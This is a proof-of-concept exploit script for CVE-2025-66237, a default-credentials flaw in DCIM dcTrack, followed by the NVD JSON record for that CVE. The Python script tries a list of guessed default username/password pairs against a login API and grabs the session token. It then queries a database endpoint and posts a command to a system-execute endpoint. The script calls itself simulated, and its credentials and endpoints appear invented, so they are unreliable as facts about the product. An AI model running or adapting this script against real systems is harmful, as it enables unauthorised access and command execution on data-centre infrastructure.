CVE-2025-66237

# CVE-2025-66237 PoC - DCIM dcTrack Default Credentials Exploitation # Note: This is a simulated PoC for educational purposes only import requests import json TARGET_HOST = "http://target-dcim-server" DCIM_PORT = 8080 # Hardcoded/default credentials for dcTrack (example paths) DEFAULT_CREDENTIALS = [ {"username": "admin", "password": "admin123"}, {"username": "admin", "password": "dctrack_default"}, {"username": "system", "password": "system123"}, {"username": "dctrack", "password": "dctrack"}, {"username": "svc_dcim", "password": "DCIM_svc_2024"} ] def exploit_dctrack_credentials(): """ Exploitation steps for CVE-2025-66237: 1. Identify running dcTrack service 2. Attempt login with default credentials 3. Extract session token 4. Access database management interface 5. Execute system commands via admin panel """ session = requests.Session() # Step 1: Service discovery base_url = f"{TARGET_HOST}:{DCIM_PORT}" # Step 2: Attempt authentication with default credentials for cred in DEFAULT_CREDENTIALS: login_payload = { "username": cred["username"], "password": cred["password"], "rememberMe": False } try: response = session.post( f"{base_url}/api/auth/login", json=login_payload, timeout=10 ) if response.status_code == 200: data = response.json() if data.get("success"): token = data.get("token") print(f"[+] SUCCESS: Valid credentials found!") print(f"[+] Username: {cred['username']}") print(f"[+] Password: {cred['password']}") print(f"[+] Token: {token}") # Step 3: Access database management db_response = session.get( f"{base_url}/api/database/query", headers={"Authorization": f"Bearer {token}"} ) # Step 4: Execute system commands cmd_payload = { "command": "whoami", "target": "host_system" } exec_response = session.post( f"{base_url}/api/system/execute", json=cmd_payload, headers={"Authorization": f"Bearer {token}"} ) if exec_response.status_code == 200: print(f"[+] SYSTEM COMPROMISED: Command execution successful") return True except requests.exceptions.RequestException as e: continue print("[-] Failed: No valid default credentials found") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-66237 PoC - DCIM dcTrack Default Credentials") print("=" * 60) exploit_dctrack_credentials()

{"cve": {"id": "CVE-2025-66237", "sourceIdentifier": "[email protected]", "published": "2025-12-04T21:16:09.137", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "DCIM dcTrack platforms utilize default and hard-coded credentials for access. An attacker could use these credentials to administer the database, escalate privileges on the platform or execute system commands on the host."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-338-05.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-338-05", "source": "[email protected]"}]}}